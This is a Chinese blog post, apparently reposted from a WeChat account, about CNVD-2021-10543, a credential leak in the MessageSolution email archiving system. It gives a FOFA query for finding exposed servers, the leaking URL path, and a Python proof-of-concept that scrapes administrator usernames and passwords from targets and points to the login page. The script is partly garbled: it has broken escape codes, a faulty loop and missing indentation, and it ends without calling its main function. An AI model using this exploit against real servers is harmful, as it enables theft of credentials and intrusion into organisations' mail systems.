MessageSolution,信息泄露漏洞(CNVD-2021-10543)

故事背景

MessageSolution,EEA是北京易讯思达科技开发有限公司开发的一款邮件归档系统。该系统存在0day WEB信息泄漏，泄露Windows服务器administrator hash与web账号密码

复现

FOFA大法 

title="MessageSolution"

页面展示

漏洞地址如下

http://ip/authenticationserverservlet/ 

使用获得到的密码可以登录系统

利用POC 

# CNVD-2021-10543
# MessageSolution 信息泄露漏洞
# fofa: title="MessageSolution"
import requests
import time
import json
from bs4 import BeautifulSoup
# 无视SSL证书提醒
requests.packages.urllib3.disable_warnings()

def xs():
    print("+-------------------------------------------------+")
    print("+-----------    CNVD-2021-10543   ----------------+")
    print("+----------- MessageSolution信息泄漏  --------------+")
    print('+--------- Fofa: title="MessageSolution" ---------+')
    print("+--------使用方法python3 CNVD-2021-10543.py  -------+")
    print("+-------------------------------------------------+")

def get_url(url):
    get_url = url + "/authenticationserverservlet/"
    login_url = url + "/indexcommon.jsp"
    # verify = False 忽略SSL证书校验
    try:
        res = requests.get(url=get_url, verify=False,timeout=5)
        if "administrator" in res.text and res.status_code == 200:
            print(f"[!] 33[31m目标系统: {url} 有信息泄漏33[0m")
            time.sleep(1)
            print("[!] 33[31m正在获取目标敏感信息.........33[0m")
            bs_xml = BeautifulSoup(res.text,features="html.parser")
            user_names = bs_xml.findAll('username')
            passwords = bs_xml.findAll('password')
            i = 1
            print(f"[!] 33[31m获取到目标系统信息:33[0m")
            if i < len(user_names):
                for user_name,password  in user_names,passwords:
                    print(f"   账号: {user_name.text}    密 码: {password.text}")
                    i = i+1
            else:
                print(f"   账号: {user_names[0].text}n   密 码: {passwords[0].text}")
            print(f"33[32m[0] 请访问: {login_url} 进行登录！")
        else:
            print(f"[0]  33[32m目标: {url} 不存在信息泄33[0m")
    except Exception as e:
        print(f"[!]  目标系统: {url} 出现意外错误：n {e}")




if __name__ == "__main__":
xs()
url = str(input("[0] 请输入目标站点URL:"))

原文始发于微信公众号（深夜笔记本）：MessageSolution,信息泄露漏洞(CNVD-2021-10543)